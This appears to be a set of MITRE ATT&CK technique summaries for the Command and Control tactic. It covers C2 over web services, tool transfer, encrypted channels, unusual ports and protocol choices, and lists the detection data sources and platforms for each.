Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre